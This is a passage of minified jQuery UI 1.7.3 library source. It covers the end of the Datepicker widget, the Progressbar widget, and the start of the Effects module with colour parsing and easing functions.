chars},_get:function(inst,name){return inst.settings[name]!==undefined?inst.settings[name]:this._defaults[name]},_setDateFromField:function(inst){var dateFormat=this._get(inst,"dateFormat");var dates=inst.input?inst.input.val():null;inst.endDay=inst.endMonth=inst.endYear=null;var date=defaultDate=this._getDefaultDate(inst);var settings=this._getFormatConfig(inst);try{date=this.parseDate(dateFormat,dates,settings)||defaultDate}catch(event){this.log(event);date=defaultDate}inst.selectedDay=date.getDate();inst.drawMonth=inst.selectedMonth=date.getMonth();inst.drawYear=inst.selectedYear=date.getFullYear();inst.currentDay=(dates?date.getDate():0);inst.currentMonth=(dates?date.getMonth():0);inst.currentYear=(dates?date.getFullYear():0);this._adjustInstDate(inst)},_getDefaultDate:function(inst){var date=this._determineDate(this._get(inst,"defaultDate"),new Date());var minDate=this._getMinMaxDate(inst,"min",true);var maxDate=this._getMinMaxDate(inst,"max");date=(minDate&&date<minDate?minDate:date);date=(maxDate&&date>maxDate?maxDate:date);return date},_determineDate:function(date,defaultDate){var offsetNumeric=function(offset){var date=new Date();date.setDate(date.getDate()+offset);return date};var offsetString=function(offset,getDaysInMonth){var date=new Date();var year=date.getFullYear();var month=date.getMonth();var day=date.getDate();var pattern=/([+-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g;var matches=pattern.exec(offset);while(matches){switch(matches[2]||"d"){case"d":case"D":day+=parseInt(matches[1],10);break;case"w":case"W":day+=parseInt(matches[1],10)*7;break;case"m":case"M":month+=parseInt(matches[1],10);day=Math.min(day,getDaysInMonth(year,month));break;case"y":case"Y":year+=parseInt(matches[1],10);day=Math.min(day,getDaysInMonth(year,month));break}matches=pattern.exec(offset)}return new Date(year,month,day)};date=(date==null?defaultDate:(typeof date=="string"?offsetString(date,this._getDaysInMonth):(typeof date=="number"?(isNaN(date)?defaultDate:offsetNumeric(date)):date)));date=(date&&date.toString()=="Invalid Date"?defaultDate:date);if(date){date.setHours(0);date.setMinutes(0);date.setSeconds(0);date.setMilliseconds(0)}return this._daylightSavingAdjust(date)},_daylightSavingAdjust:function(date){if(!date){return null}date.setHours(date.getHours()>12?date.getHours()+2:0);return date},_setDate:function(inst,date,endDate){var clear=!(date);var origMonth=inst.selectedMonth;var origYear=inst.selectedYear;date=this._determineDate(date,new Date());inst.selectedDay=inst.currentDay=date.getDate();inst.drawMonth=inst.selectedMonth=inst.currentMonth=date.getMonth();inst.drawYear=inst.selectedYear=inst.currentYear=date.getFullYear();if(origMonth!=inst.selectedMonth||origYear!=inst.selectedYear){this._notifyChange(inst)}this._adjustInstDate(inst);if(inst.input){inst.input.val(clear?"":this._formatDate(inst))}},_getDate:function(inst){var startDate=(!inst.currentYear||(inst.input&&inst.input.val()=="")?null:this._daylightSavingAdjust(new Date(inst.currentYear,inst.currentMonth,inst.currentDay)));return startDate},_generateHTML:function(inst){var today=new Date();today=this._daylightSavingAdjust(new Date(today.getFullYear(),today.getMonth(),today.getDate()));var isRTL=this._get(inst,"isRTL");var showButtonPanel=this._get(inst,"showButtonPanel");var hideIfNoPrevNext=this._get(inst,"hideIfNoPrevNext");var navigationAsDateFormat=this._get(inst,"navigationAsDateFormat");var numMonths=this._getNumberOfMonths(inst);var showCurrentAtPos=this._get(inst,"showCurrentAtPos");var stepMonths=this._get(inst,"stepMonths");var stepBigMonths=this._get(inst,"stepBigMonths");var isMultiMonth=(numMonths[0]!=1||numMonths[1]!=1);var currentDate=this._daylightSavingAdjust((!inst.currentDay?new Date(9999,9,9):new Date(inst.currentYear,inst.currentMonth,inst.currentDay)));var minDate=this._getMinMaxDate(inst,"min",true);var maxDate=this._getMinMaxDate(inst,"max");var drawMonth=inst.drawMonth-showCurrentAtPos;var drawYear=inst.drawYear;if(drawMonth<0){drawMonth+=12;drawYear--}if(maxDate){var maxDraw=this._daylightSavingAdjust(new Date(maxDate.getFullYear(),maxDate.getMonth()-numMonths[1]+1,maxDate.getDate()));maxDraw=(minDate&&maxDraw<minDate?minDate:maxDraw);while(this._daylightSavingAdjust(new Date(drawYear,drawMonth,1))>maxDraw){drawMonth--;if(drawMonth<0){drawMonth=11;drawYear--}}}inst.drawMonth=drawMonth;inst.drawYear=drawYear;var prevText=this._get(inst,"prevText");prevText=(!navigationAsDateFormat?prevText:this.formatDate(prevText,this._daylightSavingAdjust(new Date(drawYear,drawMonth-stepMonths,1)),this._getFormatConfig(inst)));var prev=(this._canAdjustMonth(inst,-1,drawYear,drawMonth)?'<a class="ui-datepicker-prev ui-corner-all" onclick="DP_jQuery.datepicker._adjustDate(\'#'+inst.id+"', -"+stepMonths+", 'M');\" title=\""+prevText+'"><span class="ui-icon ui-icon-circle-triangle-'+(isRTL?"e":"w")+'">'+prevText+"</span></a>":(hideIfNoPrevNext?"":'<a class="ui-datepicker-prev ui-corner-all ui-state-disabled" title="'+prevText+'"><span class="ui-icon ui-icon-circle-triangle-'+(isRTL?"e":"w")+'">'+prevText+"</span></a>"));var nextText=this._get(inst,"nextText");nextText=(!navigationAsDateFormat?nextText:this.formatDate(nextText,this._daylightSavingAdjust(new Date(drawYear,drawMonth+stepMonths,1)),this._getFormatConfig(inst)));var next=(this._canAdjustMonth(inst,+1,drawYear,drawMonth)?'<a class="ui-datepicker-next ui-corner-all" onclick="DP_jQuery.datepicker._adjustDate(\'#'+inst.id+"', +"+stepMonths+", 'M');\" title=\""+nextText+'"><span class="ui-icon ui-icon-circle-triangle-'+(isRTL?"w":"e")+'">'+nextText+"</span></a>":(hideIfNoPrevNext?"":'<a class="ui-datepicker-next ui-corner-all ui-state-disabled" title="'+nextText+'"><span class="ui-icon ui-icon-circle-triangle-'+(isRTL?"w":"e")+'">'+nextText+"</span></a>"));var currentText=this._get(inst,"currentText");var gotoDate=(this._get(inst,"gotoCurrent")&&inst.currentDay?currentDate:today);currentText=(!navigationAsDateFormat?currentText:this.formatDate(currentText,gotoDate,this._getFormatConfig(inst)));var controls=(!inst.inline?'<button type="button" class="ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all" onclick="DP_jQuery.datepicker._hideDatepicker();">'+this._get(inst,"closeText")+"</button>":"");var buttonPanel=(showButtonPanel)?'<div class="ui-datepicker-buttonpane ui-widget-content">'+(isRTL?controls:"")+(this._isInRange(inst,gotoDate)?'<button type="button" class="ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all" onclick="DP_jQuery.datepicker._gotoToday(\'#'+inst.id+"');\">"+currentText+"</button>":"")+(isRTL?"":controls)+"</div>":"";var firstDay=parseInt(this._get(inst,"firstDay"),10);firstDay=(isNaN(firstDay)?0:firstDay);var dayNames=this._get(inst,"dayNames");var dayNamesShort=this._get(inst,"dayNamesShort");var dayNamesMin=this._get(inst,"dayNamesMin");var monthNames=this._get(inst,"monthNames");var monthNamesShort=this._get(inst,"monthNamesShort");var beforeShowDay=this._get(inst,"beforeShowDay");var showOtherMonths=this._get(inst,"showOtherMonths");var calculateWeek=this._get(inst,"calculateWeek")||this.iso8601Week;var endDate=inst.endDay?this._daylightSavingAdjust(new Date(inst.endYear,inst.endMonth,inst.endDay)):currentDate;var defaultDate=this._getDefaultDate(inst);var html="";for(var row=0;row<numMonths[0];row++){var group="";for(var col=0;col<numMonths[1];col++){var selectedDate=this._daylightSavingAdjust(new Date(drawYear,drawMonth,inst.selectedDay));var cornerClass=" ui-corner-all";var calender="";if(isMultiMonth){calender+='<div class="ui-datepicker-group ui-datepicker-group-';switch(col){case 0:calender+="first";cornerClass=" ui-corner-"+(isRTL?"right":"left");break;case numMonths[1]-1:calender+="last";cornerClass=" ui-corner-"+(isRTL?"left":"right");break;default:calender+="middle";cornerClass="";break}calender+='">'}calender+='<div class="ui-datepicker-header ui-widget-header ui-helper-clearfix'+cornerClass+'">'+(/all|left/.test(cornerClass)&&row==0?(isRTL?next:prev):"")+(/all|right/.test(cornerClass)&&row==0?(isRTL?prev:next):"")+this._generateMonthYearHeader(inst,drawMonth,drawYear,minDate,maxDate,selectedDate,row>0||col>0,monthNames,monthNamesShort)+'</div><table class="ui-datepicker-calendar"><thead><tr>';var thead="";for(var dow=0;dow<7;dow++){var day=(dow+firstDay)%7;thead+="<th"+((dow+firstDay+6)%7>=5?' class="ui-datepicker-week-end"':"")+'><span title="'+dayNames[day]+'">'+dayNamesMin[day]+"</span></th>"}calender+=thead+"</tr></thead><tbody>";var daysInMonth=this._getDaysInMonth(drawYear,drawMonth);if(drawYear==inst.selectedYear&&drawMonth==inst.selectedMonth){inst.selectedDay=Math.min(inst.selectedDay,daysInMonth)}var leadDays=(this._getFirstDayOfMonth(drawYear,drawMonth)-firstDay+7)%7;var numRows=(isMultiMonth?6:Math.ceil((leadDays+daysInMonth)/7));var printDate=this._daylightSavingAdjust(new Date(drawYear,drawMonth,1-leadDays));for(var dRow=0;dRow<numRows;dRow++){calender+="<tr>";var tbody="";for(var dow=0;dow<7;dow++){var daySettings=(beforeShowDay?beforeShowDay.apply((inst.input?inst.input[0]:null),[printDate]):[true,""]);var otherMonth=(printDate.getMonth()!=drawMonth);var unselectable=otherMonth||!daySettings[0]||(minDate&&printDate<minDate)||(maxDate&&printDate>maxDate);tbody+='<td class="'+((dow+firstDay+6)%7>=5?" ui-datepicker-week-end":"")+(otherMonth?" ui-datepicker-other-month":"")+((printDate.getTime()==selectedDate.getTime()&&drawMonth==inst.selectedMonth&&inst._keyEvent)||(defaultDate.getTime()==printDate.getTime()&&defaultDate.getTime()==selectedDate.getTime())?" "+this._dayOverClass:"")+(unselectable?" "+this._unselectableClass+" ui-state-disabled":"")+(otherMonth&&!showOtherMonths?"":" "+daySettings[1]+(printDate.getTime()>=currentDate.getTime()&&printDate.getTime()<=endDate.getTime()?" "+this._currentClass:"")+(printDate.getTime()==today.getTime()?" ui-datepicker-today":""))+'"'+((!otherMonth||showOtherMonths)&&daySettings[2]?' title="'+daySettings[2]+'"':"")+(unselectable?"":" onclick=\"DP_jQuery.datepicker._selectDay('#"+inst.id+"',"+drawMonth+","+drawYear+', this);return false;"')+">"+(otherMonth?(showOtherMonths?printDate.getDate():"&#xa0;"):(unselectable?'<span class="ui-state-default">'+printDate.getDate()+"</span>":'<a class="ui-state-default'+(printDate.getTime()==today.getTime()?" ui-state-highlight":"")+(printDate.getTime()>=currentDate.getTime()&&printDate.getTime()<=endDate.getTime()?" ui-state-active":"")+'" href="#">'+printDate.getDate()+"</a>"))+"</td>";printDate.setDate(printDate.getDate()+1);printDate=this._daylightSavingAdjust(printDate)}calender+=tbody+"</tr>"}drawMonth++;if(drawMonth>11){drawMonth=0;drawYear++}calender+="</tbody></table>"+(isMultiMonth?"</div>"+((numMonths[0]>0&&col==numMonths[1]-1)?'<div class="ui-datepicker-row-break"></div>':""):"");group+=calender}html+=group}html+=buttonPanel+($.browser.msie&&parseInt($.browser.version,10)<7&&!inst.inline?'<iframe src="javascript:false;" class="ui-datepicker-cover" frameborder="0"></iframe>':"");inst._keyEvent=false;return html},_generateMonthYearHeader:function(inst,drawMonth,drawYear,minDate,maxDate,selectedDate,secondary,monthNames,monthNamesShort){minDate=(inst.rangeStart&&minDate&&selectedDate<minDate?selectedDate:minDate);var changeMonth=this._get(inst,"changeMonth");var changeYear=this._get(inst,"changeYear");var showMonthAfterYear=this._get(inst,"showMonthAfterYear");var html='<div class="ui-datepicker-title">';var monthHtml="";if(secondary||!changeMonth){monthHtml+='<span class="ui-datepicker-month">'+monthNames[drawMonth]+"</span> "}else{var inMinYear=(minDate&&minDate.getFullYear()==drawYear);var inMaxYear=(maxDate&&maxDate.getFullYear()==drawYear);monthHtml+='<select class="ui-datepicker-month" onchange="DP_jQuery.datepicker._selectMonthYear(\'#'+inst.id+"', this, 'M');\" onclick=\"DP_jQuery.datepicker._clickMonthYear('#"+inst.id+"');\">";for(var month=0;month<12;month++){if((!inMinYear||month>=minDate.getMonth())&&(!inMaxYear||month<=maxDate.getMonth())){monthHtml+='<option value="'+month+'"'+(month==drawMonth?' selected="selected"':"")+">"+monthNamesShort[month]+"</option>"}}monthHtml+="</select>"}if(!showMonthAfterYear){html+=monthHtml+((secondary||changeMonth||changeYear)&&(!(changeMonth&&changeYear))?"&#xa0;":"")}if(secondary||!changeYear){html+='<span class="ui-datepicker-year">'+drawYear+"</span>"}else{var years=this._get(inst,"yearRange").split(":");var year=0;var endYear=0;if(years.length!=2){year=drawYear-10;endYear=drawYear+10}else{if(years[0].charAt(0)=="+"||years[0].charAt(0)=="-"){year=drawYear+parseInt(years[0],10);endYear=drawYear+parseInt(years[1],10)}else{year=parseInt(years[0],10);endYear=parseInt(years[1],10)}}year=(minDate?Math.max(year,minDate.getFullYear()):year);endYear=(maxDate?Math.min(endYear,maxDate.getFullYear()):endYear);html+='<select class="ui-datepicker-year" onchange="DP_jQuery.datepicker._selectMonthYear(\'#'+inst.id+"', this, 'Y');\" onclick=\"DP_jQuery.datepicker._clickMonthYear('#"+inst.id+"');\">";for(;year<=endYear;year++){html+='<option value="'+year+'"'+(year==drawYear?' selected="selected"':"")+">"+year+"</option>"}html+="</select>"}if(showMonthAfterYear){html+=(secondary||changeMonth||changeYear?"&#xa0;":"")+monthHtml}html+="</div>";return html},_adjustInstDate:function(inst,offset,period){var year=inst.drawYear+(period=="Y"?offset:0);var month=inst.drawMonth+(period=="M"?offset:0);var day=Math.min(inst.selectedDay,this._getDaysInMonth(year,month))+(period=="D"?offset:0);var date=this._daylightSavingAdjust(new Date(year,month,day));var minDate=this._getMinMaxDate(inst,"min",true);var maxDate=this._getMinMaxDate(inst,"max");date=(minDate&&date<minDate?minDate:date);date=(maxDate&&date>maxDate?maxDate:date);inst.selectedDay=date.getDate();inst.drawMonth=inst.selectedMonth=date.getMonth();inst.drawYear=inst.selectedYear=date.getFullYear();if(period=="M"||period=="Y"){this._notifyChange(inst)}},_notifyChange:function(inst){var onChange=this._get(inst,"onChangeMonthYear");if(onChange){onChange.apply((inst.input?inst.input[0]:null),[inst.selectedYear,inst.selectedMonth+1,inst])}},_getNumberOfMonths:function(inst){var numMonths=this._get(inst,"numberOfMonths");return(numMonths==null?[1,1]:(typeof numMonths=="number"?[1,numMonths]:numMonths))},_getMinMaxDate:function(inst,minMax,checkRange){var date=this._determineDate(this._get(inst,minMax+"Date"),null);return(!checkRange||!inst.rangeStart?date:(!date||inst.rangeStart>date?inst.rangeStart:date))},_getDaysInMonth:function(year,month){return 32-new Date(year,month,32).getDate()},_getFirstDayOfMonth:function(year,month){return new Date(year,month,1).getDay()},_canAdjustMonth:function(inst,offset,curYear,curMonth){var numMonths=this._getNumberOfMonths(inst);var date=this._daylightSavingAdjust(new Date(curYear,curMonth+(offset<0?offset:numMonths[1]),1));if(offset<0){date.setDate(this._getDaysInMonth(date.getFullYear(),date.getMonth()))}return this._isInRange(inst,date)},_isInRange:function(inst,date){var newMinDate=(!inst.rangeStart?null:this._daylightSavingAdjust(new Date(inst.selectedYear,inst.selectedMonth,inst.selectedDay)));newMinDate=(newMinDate&&inst.rangeStart<newMinDate?inst.rangeStart:newMinDate);var minDate=newMinDate||this._getMinMaxDate(inst,"min");var maxDate=this._getMinMaxDate(inst,"max");return((!minDate||date>=minDate)&&(!maxDate||date<=maxDate))},_getFormatConfig:function(inst){var shortYearCutoff=this._get(inst,"shortYearCutoff");shortYearCutoff=(typeof shortYearCutoff!="string"?shortYearCutoff:new Date().getFullYear()%100+parseInt(shortYearCutoff,10));return{shortYearCutoff:shortYearCutoff,dayNamesShort:this._get(inst,"dayNamesShort"),dayNames:this._get(inst,"dayNames"),monthNamesShort:this._get(inst,"monthNamesShort"),monthNames:this._get(inst,"monthNames")}},_formatDate:function(inst,day,month,year){if(!day){inst.currentDay=inst.selectedDay;inst.currentMonth=inst.selectedMonth;inst.currentYear=inst.selectedYear}var date=(day?(typeof day=="object"?day:this._daylightSavingAdjust(new Date(year,month,day))):this._daylightSavingAdjust(new Date(inst.currentYear,inst.currentMonth,inst.currentDay)));return this.formatDate(this._get(inst,"dateFormat"),date,this._getFormatConfig(inst))}});function extendRemove(target,props){$.extend(target,props);for(var name in props){if(props[name]==null||props[name]==undefined){target[name]=props[name]}}return target}function isArray(a){return(a&&(($.browser.safari&&typeof a=="object"&&a.length)||(a.constructor&&a.constructor.toString().match(/\Array\(\)/))))}$.fn.datepicker=function(options){if(!$.datepicker.initialized){$(document).mousedown($.datepicker._checkExternalClick).find("body").append($.datepicker.dpDiv);$.datepicker.initialized=true}var otherArgs=Array.prototype.slice.call(arguments,1);if(typeof options=="string"&&(options=="isDisabled"||options=="getDate")){return $.datepicker["_"+options+"Datepicker"].apply($.datepicker,[this[0]].concat(otherArgs))}if(options=="option"&&arguments.length==2&&typeof arguments[1]=="string"){return $.datepicker["_"+options+"Datepicker"].apply($.datepicker,[this[0]].concat(otherArgs))}return this.each(function(){typeof options=="string"?$.datepicker["_"+options+"Datepicker"].apply($.datepicker,[this].concat(otherArgs)):$.datepicker._attachDatepicker(this,options)})};$.datepicker=new Datepicker();$.datepicker.initialized=false;$.datepicker.uuid=new Date().getTime();$.datepicker.version="1.7.3";window.DP_jQuery=$})(jQuery);;/*
 * jQuery UI Progressbar 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Progressbar
 *
 * Depends:
 *   ui.core.js
 */(function(a){a.widget("ui.progressbar",{_init:function(){this.element.addClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").attr({role:"progressbar","aria-valuemin":this._valueMin(),"aria-valuemax":this._valueMax(),"aria-valuenow":this._value()});this.valueDiv=a('<div class="ui-progressbar-value ui-widget-header ui-corner-left"></div>').appendTo(this.element);this._refreshValue()},destroy:function(){this.element.removeClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").removeAttr("role").removeAttr("aria-valuemin").removeAttr("aria-valuemax").removeAttr("aria-valuenow").removeData("progressbar").unbind(".progressbar");this.valueDiv.remove();a.widget.prototype.destroy.apply(this,arguments)},value:function(b){if(b===undefined){return this._value()}this._setData("value",b);return this},_setData:function(b,c){switch(b){case"value":this.options.value=c;this._refreshValue();this._trigger("change",null,{});break}a.widget.prototype._setData.apply(this,arguments)},_value:function(){var b=this.options.value;if(b<this._valueMin()){b=this._valueMin()}if(b>this._valueMax()){b=this._valueMax()}return b},_valueMin:function(){var b=0;return b},_valueMax:function(){var b=100;return b},_refreshValue:function(){var b=this.value();this.valueDiv[b==this._valueMax()?"addClass":"removeClass"]("ui-corner-right");this.valueDiv.width(b+"%");this.element.attr("aria-valuenow",b)}});a.extend(a.ui.progressbar,{version:"1.7.3",defaults:{value:0}})})(jQuery);;/*
 * jQuery UI Effects 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Effects/
 */jQuery.effects||(function(d){d.effects={version:"1.7.3",save:function(g,h){for(var f=0;f<h.length;f++){if(h[f]!==null){g.data("ec.storage."+h[f],g[0].style[h[f]])}}},restore:function(g,h){for(var f=0;f<h.length;f++){if(h[f]!==null){g.css(h[f],g.data("ec.storage."+h[f]))}}},setMode:function(f,g){if(g=="toggle"){g=f.is(":hidden")?"show":"hide"}return g},getBaseline:function(g,h){var i,f;switch(g[0]){case"top":i=0;break;case"middle":i=0.5;break;case"bottom":i=1;break;default:i=g[0]/h.height}switch(g[1]){case"left":f=0;break;case"center":f=0.5;break;case"right":f=1;break;default:f=g[1]/h.width}return{x:f,y:i}},createWrapper:function(f){if(f.parent().is(".ui-effects-wrapper")){return f.parent()}var g={width:f.outerWidth(true),height:f.outerHeight(true),"float":f.css("float")};f.wrap('<div class="ui-effects-wrapper" style="font-size:100%;background:transparent;border:none;margin:0;padding:0"></div>');var j=f.parent();if(f.css("position")=="static"){j.css({position:"relative"});f.css({position:"relative"})}else{var i=f.css("top");if(isNaN(parseInt(i,10))){i="auto"}var h=f.css("left");if(isNaN(parseInt(h,10))){h="auto"}j.css({position:f.css("position"),top:i,left:h,zIndex:f.css("z-index")}).show();f.css({position:"relative",top:0,left:0})}j.css(g);return j},removeWrapper:function(f){if(f.parent().is(".ui-effects-wrapper")){return f.parent().replaceWith(f)}return f},setTransition:function(g,i,f,h){h=h||{};d.each(i,function(k,j){unit=g.cssUnit(j);if(unit[0]>0){h[j]=unit[0]*f+unit[1]}});return h},animateClass:function(h,i,k,j){var f=(typeof k=="function"?k:(j?j:null));var g=(typeof k=="string"?k:null);return this.each(function(){var q={};var o=d(this);var p=o.attr("style")||"";if(typeof p=="object"){p=p.cssText}if(h.toggle){o.hasClass(h.toggle)?h.remove=h.toggle:h.add=h.toggle}var l=d.extend({},(document.defaultView?document.defaultView.getComputedStyle(this,null):this.currentStyle));if(h.add){o.addClass(h.add)}if(h.remove){o.removeClass(h.remove)}var m=d.extend({},(document.defaultView?document.defaultView.getComputedStyle(this,null):this.currentStyle));if(h.add){o.removeClass(h.add)}if(h.remove){o.addClass(h.remove)}for(var r in m){if(typeof m[r]!="function"&&m[r]&&r.indexOf("Moz")==-1&&r.indexOf("length")==-1&&m[r]!=l[r]&&(r.match(/color/i)||(!r.match(/color/i)&&!isNaN(parseInt(m[r],10))))&&(l.position!="static"||(l.position=="static"&&!r.match(/left|top|bottom|right/)))){q[r]=m[r]}}o.animate(q,i,g,function(){if(typeof d(this).attr("style")=="object"){d(this).attr("style")["cssText"]="";d(this).attr("style")["cssText"]=p}else{d(this).attr("style",p)}if(h.add){d(this).addClass(h.add)}if(h.remove){d(this).removeClass(h.remove)}if(f){f.apply(this,arguments)}})})}};function c(g,f){var i=g[1]&&g[1].constructor==Object?g[1]:{};if(f){i.mode=f}var h=g[1]&&g[1].constructor!=Object?g[1]:(i.duration?i.duration:g[2]);h=d.fx.off?0:typeof h==="number"?h:d.fx.speeds[h]||d.fx.speeds._default;var j=i.callback||(d.isFunction(g[1])&&g[1])||(d.isFunction(g[2])&&g[2])||(d.isFunction(g[3])&&g[3]);return[g[0],i,h,j]}d.fn.extend({_show:d.fn.show,_hide:d.fn.hide,__toggle:d.fn.toggle,_addClass:d.fn.addClass,_removeClass:d.fn.removeClass,_toggleClass:d.fn.toggleClass,effect:function(g,f,h,i){return d.effects[g]?d.effects[g].call(this,{method:g,options:f||{},duration:h,callback:i}):null},show:function(){if(!arguments[0]||(arguments[0].constructor==Number||(/(slow|normal|fast)/).test(arguments[0]))){return this._show.apply(this,arguments)}else{return this.effect.apply(this,c(arguments,"show"))}},hide:function(){if(!arguments[0]||(arguments[0].constructor==Number||(/(slow|normal|fast)/).test(arguments[0]))){return this._hide.apply(this,arguments)}else{return this.effect.apply(this,c(arguments,"hide"))}},toggle:function(){if(!arguments[0]||(arguments[0].constructor==Number||(/(slow|normal|fast)/).test(arguments[0]))||(d.isFunction(arguments[0])||typeof arguments[0]=="boolean")){return this.__toggle.apply(this,arguments)}else{return this.effect.apply(this,c(arguments,"toggle"))}},addClass:function(g,f,i,h){return f?d.effects.animateClass.apply(this,[{add:g},f,i,h]):this._addClass(g)},removeClass:function(g,f,i,h){return f?d.effects.animateClass.apply(this,[{remove:g},f,i,h]):this._removeClass(g)},toggleClass:function(g,f,i,h){return((typeof f!=="boolean")&&f)?d.effects.animateClass.apply(this,[{toggle:g},f,i,h]):this._toggleClass(g,f)},morph:function(f,h,g,j,i){return d.effects.animateClass.apply(this,[{add:h,remove:f},g,j,i])},switchClass:function(){return this.morph.apply(this,arguments)},cssUnit:function(f){var g=this.css(f),h=[];d.each(["em","px","%","pt"],function(j,k){if(g.indexOf(k)>0){h=[parseFloat(g),k]}});return h}});d.each(["backgroundColor","borderBottomColor","borderLeftColor","borderRightColor","borderTopColor","color","outlineColor"],function(g,f){d.fx.step[f]=function(h){if(h.state==0){h.start=e(h.elem,f);h.end=b(h.end)}h.elem.style[f]="rgb("+[Math.max(Math.min(parseInt((h.pos*(h.end[0]-h.start[0]))+h.start[0],10),255),0),Math.max(Math.min(parseInt((h.pos*(h.end[1]-h.start[1]))+h.start[1],10),255),0),Math.max(Math.min(parseInt((h.pos*(h.end[2]-h.start[2]))+h.start[2],10),255),0)].join(",")+")"}});function b(g){var f;if(g&&g.constructor==Array&&g.length==3){return g}if(f=/rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(g)){return[parseInt(f[1],10),parseInt(f[2],10),parseInt(f[3],10)]}if(f=/rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(g)){return[parseFloat(f[1])*2.55,parseFloat(f[2])*2.55,parseFloat(f[3])*2.55]}if(f=/#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(g)){return[parseInt(f[1],16),parseInt(f[2],16),parseInt(f[3],16)]}if(f=/#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(g)){return[parseInt(f[1]+f[1],16),parseInt(f[2]+f[2],16),parseInt(f[3]+f[3],16)]}if(f=/rgba\(0, 0, 0, 0\)/.exec(g)){return a.transparent}return a[d.trim(g).toLowerCase()]}function e(h,f){var g;do{g=d.curCSS(h,f);if(g!=""&&g!="transparent"||d.nodeName(h,"body")){break}f="backgroundColor"}while(h=h.parentNode);return b(g)}var a={aqua:[0,255,255],azure:[240,255,255],beige:[245,245,220],black:[0,0,0],blue:[0,0,255],brown:[165,42,42],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgrey:[169,169,169],darkgreen:[0,100,0],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkviolet:[148,0,211],fuchsia:[255,0,255],gold:[255,215,0],green:[0,128,0],indigo:[75,0,130],khaki:[240,230,140],lightblue:[173,216,230],lightcyan:[224,255,255],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightyellow:[255,255,224],lime:[0,255,0],magenta:[255,0,255],maroon:[128,0,0],navy:[0,0,128],olive:[128,128,0],orange:[255,165,0],pink:[255,192,203],purple:[128,0,128],violet:[128,0,128],red:[255,0,0],silver:[192,192,192],white:[255,255,255],yellow:[255,255,0],transparent:[255,255,255]};d.easing.jswing=d.easing.swing;d.extend(d.easing,{def:"easeOutQuad",swing:function(g,h,f,j,i){return d.easing[d.easing.def](g,h,f,j,i)},easeInQuad:function(g,h,f,j,i){return j*(h/=i)*h+f},easeOutQuad:function(g,h,f,j,i){return -j*(h/=i)*(h-2)+f},easeInOutQuad:function(g,h,f,j,i){if((h/=i/2)<1){return j/2*h*h+f}return -j/2*((--h)*(h-2)-1)+f},easeInCubic:function(g,h,f,j,i){return j*(h/=i)*h*h+f},easeOutCubic:function(g,h,f,j,i){return j*((h=h/i-1)*h*h+1)+f},easeInOutCubic:function(g,h,f,j,i){if((h/=i/2)<1){return j/2*h*h*h+f}return j/2*((h-=2)*h*h+2)+f},easeInQuart:function(g,h,f,j,i){return j*(h/=i)*h*h*h+f},easeOutQuart:function(g,h,f,j,i){return -j*((h=h/i-1)*h*h*h-1)+f},easeInOutQuart:function(g,h,f,j,i){if((h/=i/2)<1){return j/2*h*h*h*h+f}return -j/2*((h-=2)*h*h*h-2)+f},easeInQuint:function(g,h,f,j,i){return j*(h/=i)*h*h*h*h+f},easeOutQuint:function(g,h,f,j,i){return j*((h=h/i-1)*h*h*h*h+1)+f},easeInOutQuint:function(g,h,f,j,i){if((h/=i/2)<1){return j/2*h*h*h*h*h+f}return j/2*((h-=2)*h*h*h*h+2)+f},easeInSine:function(g,h,f,j,i){return -j*Math.cos(h/i*(Math.PI/2))+j+f},easeOutSine:function(g,h,f,j,i){return j*Math.sin(h/i*(Math.PI/2))+f},easeInOutSine:function(g,h,f,j,i){return -j/2*(Math.cos(Math.PI*h/i)-1)+f},easeInExpo:function(g,h,f,j,i){return(h==0)?f:j*Math.pow(2,10*(h/i-1))+f},easeOutExpo:function(g,h,f,j,i){return(h==i)?f+j:j*(-Math.pow(2,-10*h/i)+1)+f},easeInOutExpo:function(g,h,f,j,i){if(h==0){return f}if(h==i){return f+j}if((h/=i/2)<1){return j/2*Math.pow(2,10*(h-1))+f}return j/2*(-Math.pow(2,-10*--h)+2)+f},easeInCirc:function(g,h,f,j,i){return -j*(Math.sqrt(1-(h/=i)*h)-1)+f},easeOutCirc:function(g,h,f,j,i){return j*Math.sqrt(1-(h=h/i-1)*h)+f},easeInOutCirc:function(g,h,f,j,i){if((h/=i/2)<1){return -j/2*(Math.sqrt(1-h*h)-1)+f}return j/2*(Math.sqrt(1-(h-=2)*h)+1)+f},easeInElastic:function(g,i,f,m,l){var j=1.70158;var k=0;var h=m;if(i==0){return f}if((i/=l)==1){return f+m}if(!k){k=l*0.3}if(h<Math.abs(m)){h=m;var j=k/4}else{var j=k/(2*Math.PI)*Math.asin(m/h)}return -(h*Math.pow(2,10*(i-=1))*Math.sin((i*l-j)*(2*Math.PI)/k))+f},easeOutElastic:function(g,i,f,m,l){var j=1.70158;var k=0;var h=m;if(i==0){return f}if((i/=l)==1){return f+m}if(!k){k=l*0.3}if(h<Math.abs(m)){h=m;var j=k/4}else{var j=k/(2*Math.PI)*Math.asin(m/h)}return h*Math.pow(2,-10*i)*Math.sin((i*l-j)*(2*Math.PI)/k)+m+f},easeInOutElastic:function(g,i,f,m,l){var j=1.70158;var k=0;var h=m;if(i==0){return f}if((i/=l/2)==2){return 